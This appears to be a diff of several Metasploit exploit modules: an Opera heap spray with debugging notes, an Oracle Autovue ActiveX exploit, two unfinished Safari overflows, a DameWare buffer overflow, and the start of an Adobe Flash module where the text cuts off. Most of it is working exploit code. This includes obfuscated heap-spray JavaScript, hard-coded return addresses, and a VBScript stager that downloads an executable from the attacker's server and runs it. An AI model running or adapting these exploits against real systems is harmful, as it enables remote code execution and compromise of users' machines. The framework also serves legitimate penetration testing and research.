shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
|
||||
addr_word = Rex::Text.to_unescape([mytarget.ret].pack('V'), Rex::Arch.endian(mytarget.arch))
|
||||
|
||||
var_file_trigger = rand_text_alpha(rand(30)+2)
|
||||
|
||||
var_timer_trigger = (rand(3) + 2) * 1000
|
||||
|
||||
#Build the exploit
|
||||
var_url = ((datastore['SSL']) ? "https://" : "http://")
|
||||
var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
|
||||
var_url << ":" + datastore['SRVPORT']
|
||||
var_url << get_resource
|
||||
|
||||
js = <<-JS
|
||||
var shellcode = unescape("#{shellcode}");
|
||||
var size = shellcode.length * 2;
|
||||
var nopsize = 0x100000 - (size + 0x14);
|
||||
var buffer = unescape("#{addr_word}");
|
||||
while (buffer.length * 2 < nopsize) buffer += buffer
|
||||
var x = new Array();
|
||||
for ( var i =0; i < #{mytarget['SizeofSpray']}; i++ ) {
|
||||
x[i] = buffer + shellcode
|
||||
}
|
||||
|
||||
function trigger() {
|
||||
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
|
||||
}
|
||||
JS
|
||||
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
trigger_sym = js.sym('trigger')
|
||||
|
||||
js = js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript">
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<html>
|
||||
HTML
|
||||
|
||||
print_status("Sending stage 1 (Spraying the heap)")
|
||||
var_contentype = 'text/html'
|
||||
end
|
||||
|
||||
#Response
|
||||
send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
|
||||
|
||||
#Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
NOTE: This module is incomplete because Opera by default supports DEP (since version 9), but this exploit
|
||||
only works with /noexecute=AlwaysOff. The following explains the challenge we need to overcome in order
|
||||
to support DEP-bypass:
|
||||
|
||||
So when I attach windbg, the crash always occurs at the following instruction:
|
||||
|
||||
.text:676815C8 mov eax, [esi] ; I later traced ESI all the way to [esp+118h+var_100]
|
||||
.text:676815CA mov ecx, esi
|
||||
.text:676815CC call dword ptr [eax+0Ch] ; Crash occurs here
|
||||
.text:676815CF test eax, eax
|
||||
.text:676815D1 jnz loc_674D8D8C
|
||||
|
||||
NOTE: A dirty way to overwrite ESI, but this may crash somewhere else before getting to the CALL:
|
||||
bp 673f4cff ".echo \"Modify [ESP+118h+var_110] at 0x673f4cff \"; ed poi(esp+18)+2c 41414141; dc poi(esp+18); g"
|
||||
|
||||
Or if we something like this, it goes to a different code path (even though we have control of ESI) -- no crash:
|
||||
.dvalloc /b 41410000 100
|
||||
eza 41410000 "AAAAAAAAAAAAAAA...."
|
||||
dc 41410000
|
||||
bp 673f4cff ".echo \"Modify [ESP+118h+var_110] at 0x673f4cff \"; ed poi(esp+18)+2c 41410000; dc poi(esp+18); g"
|
||||
bp 676815cc "r; g"
|
||||
|
||||
Usually, I get a crash like this with the exploit:
|
||||
|
||||
0:000> r
|
||||
eax=67d31aab ebx=03b58560 ecx=04444388 edx=00000098 esi=04444388 edi=03b58660
|
||||
eip=74657300 esp=0012e4a4 ebp=0012e4d0 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
||||
74657300 ?? ???
|
||||
|
||||
EAX comes from whatever is in ESI, but that pointer in ESI points to strings that reside in the .data
|
||||
section found in Opera.dll:
|
||||
|
||||
0:000> dc poi(esi)
|
||||
67d31aab 54687475 6e656b6f 00534254 74657300 uthTokenTBS..set
|
||||
67d31abb 412d7463 52687475 42547365 00005853 ct-AuthResTBSX..
|
||||
67d31acb 74657300 412d7463 52687475 42547365 .setct-AuthResTB
|
||||
67d31adb 00000053 74657300 412d7463 52687475 S....setct-AuthR
|
||||
67d31aeb 42547165 00000053 74657300 502d7463 eqTBS....setct-P
|
||||
67d31afb 44736552 00617461 74657300 502d7463 ResData..setct-P
|
||||
67d31b0b 42542d49 00000053 74657300 502d7463 I-TBS....setct-P
|
||||
67d31b1b 74696e49 44736552 00617461 74657300 InitResData..set
|
||||
|
||||
Apparently, EIP is actually just a string, but the program is treating it as a pointer by mistake.
|
||||
The biggest problem here is that poi(esi) always points to a different string, as the following 3
|
||||
examples show (different crashes):
|
||||
|
||||
dc poi(esi)
|
||||
67d31ddf 69756200 6e69646c 6d614e67 00000065 .buildingName... <--- In this case, EIP will be 00000065
|
||||
67d31def 69616d00 6572506c 65726566 4f65636e .mailPreferenceO
|
||||
67d31dff 6f697470 0000006e 6e616a00 614d7465 ption....janetMa
|
||||
67d31e0f 6f626c69 00000078 67726f00 7a696e61 ilbox....organiz
|
||||
67d31e1f 6f697461 536c616e 75746174 00000073 ationalStatus...
|
||||
67d31e2f 69726600 6c646e65 756f4379 7972746e .friendlyCountry
|
||||
67d31e3f 656d614e 67617000 65547265 6870656c Name.pagerTeleph
|
||||
67d31e4f 4e656e6f 65626d75 00000072 626f6d00 oneNumber....mob
|
||||
|
||||
dc poi(esi)
|
||||
67d30a98 2d677377 2d6d6469 64696365 6c74772d wsg-idm-ecid-wtl <--- In this case, EIP will be 6c74772d
|
||||
67d30aa8 00003373 2d706177 2d677377 2d6d6469 s3..wap-wsg-idm-
|
||||
67d30ab8 64696365 6c74772d 00003173 74636573 ecid-wtls1..sect
|
||||
67d30ac8 72313735 00000031 74636573 6b313735 571r1...sect571k
|
||||
67d30ad8 00000031 74636573 72393034 00000031 1...sect409r1...
|
||||
67d30ae8 74636573 6b393034 00000031 74636573 sect409k1...sect
|
||||
67d30af8 72333832 00000031 74636573 6b333832 283r1...sect283k
|
||||
67d30b08 00000031 74636573 6b393332 00000031 1...sect239k1...
|
||||
|
||||
dc poi(esi)
|
||||
67d318b7 54736552 00005342 74657300 432d7463 ResTBS...setct-C <-- In this case, EIP will be 432d7463
|
||||
67d318c7 43647261 74696e49 54736552 00005342 ardCInitResTBS..
|
||||
67d318d7 74657300 422d7463 68637461 696d6441 .setct-BatchAdmi
|
||||
67d318e7 7365526e 61746144 74657300 422d7463 nResData.setct-B
|
||||
67d318f7 68637461 696d6441 7165526e 61746144 atchAdminReqData
|
||||
67d31907 74657300 502d7463 74726543 54736552 .setct-PCertResT
|
||||
67d31917 00005342 74657300 502d7463 74726543 BS...setct-PCert
|
||||
67d31927 44716552 00617461 74657300 432d7463 ReqData..setct-C
|
||||
|
||||
|
||||
Because the fact [EAX+0Ch] always points to a different string, the current exploit (which uses
|
||||
heap spraying) simply relies on luck to get code execution. Either we need a better crash, or find a way to
|
||||
make it point to a predictable location.
|
||||
|
||||
|
||||
Example of using VirtualAlloc to allocate memory for heap spraying:
|
||||
/*
|
||||
* Heap spray for Opera that uses VirtualAlloc
|
||||
* Arguments:
|
||||
* @blocks - an emtpy array
|
||||
* @code - the payload
|
||||
* @offset - padding to align the code
|
||||
* @chunk_max - max size for each allocation
|
||||
* @blocks_max - max blocks
|
||||
*/
|
||||
function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
|
||||
if (chunk_max < 0x7F000) {
|
||||
throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
|
||||
}
|
||||
|
||||
// Recalculate chunk_max to get the right allocation size
|
||||
chunk_max /= 2;
|
||||
|
||||
// Create NOPs
|
||||
var nops = unescape("%u0c0c%u0c0c");
|
||||
while (nops.length < chunk_max) nops += nops;
|
||||
|
||||
// Cretae Offset
|
||||
var offset_chunk = nops.substr(0, offset-code.length);
|
||||
|
||||
// Extract the block to the right allocation size
|
||||
var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);
|
||||
|
||||
// The chunk length must be a multiple of 16
|
||||
while (block.length % 8 != 0) block += unescape("%u0c");
|
||||
|
||||
var shellcode = block.substr(0, (chunk_max-0x1c)/2);
|
||||
|
||||
// Heap spray
|
||||
for (var i=0; i < blocks_max; i++) {
|
||||
// The extra unescape() seems necessary to trigger the heap spray
|
||||
blocks[i] = shellcode + unescape("%u4141");
|
||||
}
|
||||
}
|
||||
|
||||
// We need to put the array outside the function so it'll spray
|
||||
var blocks = new Array();
|
||||
var code = unescape("#{code_js}");
|
||||
heap_spray(blocks, code, 0x800, 0x80000, 0x100);
|
||||
=end
|
||||
@@ -0,0 +1,203 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:javascript => true,
|
||||
:rank => NormalRanking,
|
||||
:vuln_test => nil,
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Autovue (ExportEdaBom) ActiveX Control Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module allows remote attackers to place arbitrary files on a users file system
|
||||
by abusing the "ExportEdaBom" method in the Autovue AutoVueX.ocx (AUTOVUEX.AutoVueXCtrl.1) ActiveX
|
||||
Control. Code execution can be acheived by writing a trusted HTML file to the system32 directory
|
||||
of the targets machine then, when their machine triggers the WMI service executing a mof file, the
|
||||
trusted HTML file will be executed and write a VBS script which is then also executed that will
|
||||
download a binary and then finally execute that binary.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rgod', # original discovery and calc.exe poc
|
||||
'mr_me <steventhomasseeley[at]gmail-com>', # msf exploit - kiwicon 6 special :)
|
||||
'TecR0c <roccogiovannicalvi[at]gmail-com>', # msf exploit - kiwicon 6 special :)
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '50332'],
|
||||
[ 'URL', 'http://retrogod.altervista.org/9sg_autovue.html' ],
|
||||
[ 'URL', 'http://packetstormsecurity.org/files/106063/9sg_autovue.tgz'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#Windows before Vista
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 20 2011'))
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def build_vbs(url, payload_name, stager_name)
|
||||
name_xmlhttp = rand_text_alpha(2)
|
||||
name_adodb = rand_text_alpha(2)
|
||||
name_wscript = rand_text_alpha(2)
|
||||
|
||||
vbs = "Set #{name_xmlhttp} = CreateObject(\\\"Microsoft.XMLHTTP\\\") "
|
||||
vbs << ": #{name_xmlhttp}.Open \\\"GET\\\",\\\"#{url}\\\",False "
|
||||
vbs << ": #{name_xmlhttp}.send() "
|
||||
vbs << ": Set #{name_adodb} = CreateObject(\\\"ADODB.Stream\\\") "
|
||||
vbs << ": #{name_adodb}.Mode = 3 "
|
||||
vbs << ": #{name_adodb}.Type = 1 "
|
||||
vbs << ": #{name_adodb}.Open() "
|
||||
vbs << ": #{name_adodb}.Write(#{name_xmlhttp}.responseBody) "
|
||||
vbs << ": #{name_adodb}.SaveToFile \\\"#{@sys32_path}#{@payload_name}\\\",2 "
|
||||
vbs << ": Dim #{name_wscript}"
|
||||
vbs << ": Set #{name_wscript} = CreateObject(\\\"WScript.Shell\\\") "
|
||||
vbs << ": #{name_wscript}.Run \\\"#{@sys32_path}#{@payload_name}\\\""
|
||||
|
||||
return vbs
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
#Load trigger file
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "rgod_autovue.pcb")
|
||||
f = File.open(path, "rb")
|
||||
@trigger = f.read
|
||||
f.close
|
||||
|
||||
if request.uri.match(/\.pcb/)
|
||||
print_status("Sending pcb payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, @trigger, {
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
'Content-Length' => @trigger.length,
|
||||
})
|
||||
return
|
||||
|
||||
elsif request.uri =~ /\.exe/
|
||||
print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, @payload, {'Content-Type' => 'application/octet-stream'} )
|
||||
return
|
||||
end
|
||||
|
||||
url = "http://"
|
||||
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
url += ":" + datastore['SRVPORT'] + get_resource() + "/"
|
||||
|
||||
#VBScript variables
|
||||
clsid = "B6FCC215-D303-11D1-BC6C-0000C078797F"
|
||||
method = "ExportEdaBom"
|
||||
autovue = rand_text_alpha(rand(100) + 1) #autovue object ID
|
||||
@payload_name = rand_text_alpha(rand(10) + 1) + ".exe" #Payload name
|
||||
hta_name = rand_text_alpha(rand(10) + 1) + ".hta" #trusted HTML file name
|
||||
stager_name = rand_text_alpha(rand(10) + 1) + ".vbs" #VBS file name
|
||||
@mof_name = rand_text_alpha(rand(10) + 1) + ".mof" #MOF path on victim machine
|
||||
name_xmlhttp = rand_text_alpha(2) #vbs XHTTP instance name
|
||||
name_adodb = rand_text_alpha(2) #vbs adodb instance name
|
||||
pcb_name = rand_text_alpha_lower(4) #pcb filename
|
||||
mof_contents = rand_text_alpha(5) #MOF's vbs var name
|
||||
|
||||
@sys32_path = "C://WINDOWS//system32//"
|
||||
hta_path = @sys32_path + hta_name
|
||||
mof_path = @sys32_path + "wbem//mof//"
|
||||
|
||||
#Create the stager (download + execute payload)
|
||||
vbs = build_vbs(url+@payload_name, @payload_name, stager_name)
|
||||
|
||||
# tx snake .. edb-id:18051
|
||||
# "\" = "\"*4
|
||||
mof = generate_mof(@mof_name, hta_name)
|
||||
mof = mof.gsub(/\n/, "',\n'")
|
||||
mof = mof.gsub(/ \"/, ' "')
|
||||
mof = mof.gsub(/;\"/, ";\\\"")
|
||||
mof = mof.gsub('\"', '\\\\\\\\"')
|
||||
mof = mof.gsub(' "\\', '"\\\\\\\\')
|
||||
mof = mof.gsub("='","=\\\\\'")
|
||||
mof = mof.gsub("'\\","\\\\\'\\")
|
||||
#More fixes to correct the mof format
|
||||
mof = mof.gsub(/;\\n/, ";\\\\\\n")
|
||||
mof = mof.gsub(/\\nvar f2/, "\\\\\\nvar f2")
|
||||
mof = mof.gsub(/\\\\cimv2/, "\\\\\\\\\\\\\\\\\\\\\\\\cimv2")
|
||||
mof = mof.gsub(/\\\\\\\\.\\\\root#{'\\'*12}/, "#{'\\'*16}.#{'\\'*8}root#{'\\'*8}")
|
||||
mof = mof.gsub(/wbem#{'\\'*8}mof#{'\\'*8}good#{'\\'*8}/,"wbem#{'\\'*16}mof#{'\\'*16}good#{'\\'*16}")
|
||||
mof = mof.gsub(/\{\};\\\\";/, "{};\";")
|
||||
|
||||
#print_status(mof)
|
||||
|
||||
content = <<-EOS
|
||||
<html>
|
||||
<object classid='clsid:#{clsid}' id='obj' width=640 & height=480 />
|
||||
<param name=SRC value="test.pcb"></param>
|
||||
</object>
|
||||
<script defer="defer">
|
||||
var vbs_code = "#{vbs}";
|
||||
var execute = "<" + "script> var x=new ActiveXObject(\\"Scripting.FileSystemObject\\"); ";
|
||||
execute += "var s = x.CreateTextFile(\\"#{stager_name}\\", \\"True\\"); ";
|
||||
execute += "s.writeline(\'" + vbs_code + "\'); s.Close(); var y=new ActiveXObject(\\"WScript.Shell\\"); ";
|
||||
execute += "y.Exec(\\"wscript #{stager_name}\\"); <" +"/script>";
|
||||
for (i=0; i<6666; i++) {
|
||||
obj.ExportEdaBom("#{hta_path}","",false,execute);
|
||||
}
|
||||
|
||||
var #{mof_contents} = ['#{mof}\\n'].join('\\n');
|
||||
|
||||
for (i=0; i<6666; i++) {
|
||||
obj.ExportEdaBom("#{mof_path}+#{@mof_name}","",false,#{mof_contents});
|
||||
}
|
||||
|
||||
</script>
|
||||
EOS
|
||||
|
||||
#Clear the extra tabs
|
||||
content = content.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
@payload = generate_payload_exe
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,115 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::SAFARI,
|
||||
:javascript => true,
|
||||
:rank => NormalRanking, # reliable memory corruption
|
||||
:vuln_test => nil,
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Safari libxml2 feed:// URL Heap Overflow',
|
||||
'Description' => %q{ },
|
||||
'License' => BSD_LICENSE,
|
||||
'Author' => [ 'egypt' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['BID', '31126'],
|
||||
['CVE', '2008-3529'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Automatic
|
||||
[
|
||||
'Windows Safari 3.2.1 via libxml2.dll',
|
||||
{
|
||||
# Addresses must be alphanumeric ascii
|
||||
'Platform' => [ 'win' ],
|
||||
#'Ret' => 0x62306e38, # call eax; libxml2.dll
|
||||
#'Ret' => 0x62317666, # call ebx; libxml2.dll
|
||||
#'Ret' => 0x62315233, # call ecx; libxml2.dll
|
||||
#'Ret' => 0x62306e55, # call edx; libxml2.dll
|
||||
#'Ret' => 0x62334f4c, # call edi; libxml2.dll
|
||||
'Ret' => 0x62353068, # call esi; libxml2.dll
|
||||
#'Ret' => 0x62314169, # call ebp; libxml2.dll
|
||||
#'Where' => 0x30313233, # Need a pointer that gets called
|
||||
'Where' => 0x77ed73b4, # Need a pointer that gets called
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
headers = {
|
||||
'Cache-control' => 'must-revalidate',
|
||||
'Expires' => '0'
|
||||
}
|
||||
case request.uri
|
||||
when get_resource()
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
content = "<html><head></head><body>"
|
||||
content << "<script><!--\n"
|
||||
content << "location.href = 'feed://' + location.host + '#{get_resource}feed';\n"
|
||||
content << "//--></script>"
|
||||
content << "</body></html>"
|
||||
when /feed/
|
||||
print_status("Sending evil feed to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
sets = [("A".."Z").to_a.join, ("a".."j").to_a.join, ("k".."z").to_a.join]
|
||||
pattern = Rex::Text.pattern_create(1000, sets)
|
||||
|
||||
pattern[207,4] = [target.ret].pack("V")
|
||||
pattern[211,4] = [target['Where']].pack("V")
|
||||
# For debug heap
|
||||
#pattern[223,4] = [target.ret].pack("V")
|
||||
#pattern[227,4] = [0x78787878].pack("V")
|
||||
|
||||
content = '<?xml version="1.0"?>' + "\n" +
|
||||
'<!DOCTYPE longentity [' + "\n" +
|
||||
'<!ELEMENT longentity (#PCDATA)>' + "\n" +
|
||||
'<!ENTITY ' +
|
||||
pattern +
|
||||
" \"#{rand_text_alpha(5)}\"> ]>\n" +
|
||||
'<longentity location="&' +
|
||||
pattern +
|
||||
';">text</longentity>' + "\n"
|
||||
headers["Content-Type"] = "text/xml"
|
||||
end
|
||||
send_response(cli, content, headers)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,90 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
#include Msf::Exploit::Remote::BrowserAutopwn
|
||||
#autopwn_info({
|
||||
# :ua_name => HttpClients::SAFARI,
|
||||
# :javascript => true,
|
||||
# :rank => NormalRanking, # reliable memory corruption
|
||||
# :vuln_test => nil,
|
||||
#})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Safari Floating Point Number Parsing Overflow',
|
||||
'Description' => %q{ },
|
||||
'License' => BSD_LICENSE,
|
||||
'Author' => [ 'egypt' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
#['BID', ''],
|
||||
#['CVE', ''],
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Automatic
|
||||
[
|
||||
'Windows Safari 3.2.1 via libxml2.dll',
|
||||
{
|
||||
'Ret' => 0xdeadbeef, # call eax; libxml2.dll
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Re-generate the payload
|
||||
p = regenerate_payload(cli)
|
||||
if (p == nil)
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
headers = {
|
||||
'Cache-control' => 'must-revalidate',
|
||||
'Expires' => '0'
|
||||
}
|
||||
case request.uri
|
||||
when get_resource()
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
num = "1"*3658
|
||||
content = "<html><head></head><body>"
|
||||
content << "<script><!--\n"
|
||||
content << "var Overflow = \"31337\" + 0.#{num};\n"
|
||||
content << "//--></script>"
|
||||
content << "</body></html>"
|
||||
end
|
||||
send_response(cli, content, headers)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,164 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'DameWare Mini Remote Control Client Agent Service <= v4 Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the DWRCS.exe server of DameWare Mini
|
||||
Remote Control Client Agent 4.0 - 4.9. While processing a username, the application
|
||||
fails to do proper bounds checking before copying data into a small buffer on the stack.
|
||||
This causes a buffer overflow and allows to overwrite the base pointer and retn address
|
||||
on the stack, allowing for unauthenticated remote code execution. Also, the DWRCS.exe's
|
||||
parent process should not terminate as multiple threads are created on connection. It is
|
||||
recommended that payloads with 'nonx' are choosen for exploitation.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jackson Pollocks', # Initial discovery/exploit
|
||||
'mr_me <steventhomasseeley[at]gmail.com>', # msf port
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2005-2842'],
|
||||
['BID', '14707'],
|
||||
['OSVDB', '19119'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/1190/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'Space' => 311,
|
||||
'DisableNops' => false,
|
||||
'Compact' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic telnet perl ruby'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'none',
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
# No NX bypass, payload space too small
|
||||
'Windows Server 2003 SP2',
|
||||
{
|
||||
'Ret' => 0x77384271, # JMP ESP [user32.dll]
|
||||
'Offset' => 195
|
||||
}
|
||||
],
|
||||
[
|
||||
# No NX bypass, payload space too small
|
||||
'Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x7E429353, # JMP ESP [user32.dll]
|
||||
'Offset' => 195
|
||||
}
|
||||
],
|
||||
[
|
||||
# No NX bypass, payload space too small
|
||||
'Windows 2000 SP4',
|
||||
{
|
||||
'Ret' => 0x77e3c256, # JMP ESP [user32.dll]
|
||||
'Offset' => 195
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 31 2005",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6129)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# remote server auto-targeting, ftw
|
||||
def auto_target(check)
|
||||
os_maj = check[8].unpack('H*')[0]
|
||||
os_min = check[12].unpack('H*')[0]
|
||||
|
||||
if os_maj == "05"
|
||||
if os_min == "02"
|
||||
print_status("Detected the target as Server 2003..")
|
||||
my_target = targets[1] # Win Server 23k
|
||||
elsif os_min == "01"
|
||||
print_status("Detected the target as Windows XP..")
|
||||
my_target = targets[2] # Win XP sp3
|
||||
elsif os_min == "00"
|
||||
print_status("Detected the target as Windows 2000..")
|
||||
my_target = targets[3] # Win 2000
|
||||
end
|
||||
|
||||
elsif os_maj == "04"
|
||||
print_status("Detected the target as Windows NT..")
|
||||
print_status("Target unsupported..")
|
||||
my_target = Nil
|
||||
end
|
||||
|
||||
return my_target
|
||||
end
|
||||
|
||||
def exploit
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => false,
|
||||
:eggtag => 'w00t',
|
||||
}
|
||||
|
||||
# os detection
|
||||
os_pkt = ""
|
||||
os_pkt << "\x30\x11\x00\x00\x00\x00\x00\x00\xc3\xf5\x28\x5c\x8f\xc2\x0d\x40"
|
||||
os_pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
os_pkt << "\x00\x00\x00\x00\x01\x00\x00\x00"
|
||||
|
||||
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
||||
|
||||
connect
|
||||
|
||||
sock.get_once()
|
||||
sock.put(os_pkt)
|
||||
|
||||
my_target = target
|
||||
if my_target.name == 'Automatic'
|
||||
my_target = auto_target(sock.get_once())
|
||||
else
|
||||
sock.get_once
|
||||
end
|
||||
|
||||
sploit = ""
|
||||
sploit << "\x10\x27"
|
||||
sploit << "\x00" * my_target['Offset']
|
||||
sploit << egg
|
||||
sploit << [my_target.ret].pack('V')
|
||||
sploit << hunter
|
||||
sploit << "\x00" * 5000
|
||||
|
||||
print_status("Sending request...")
|
||||
sock.put(sploit)
|
||||
handler
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
+451
@@ -0,0 +1,451 @@
|
||||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
|
||||
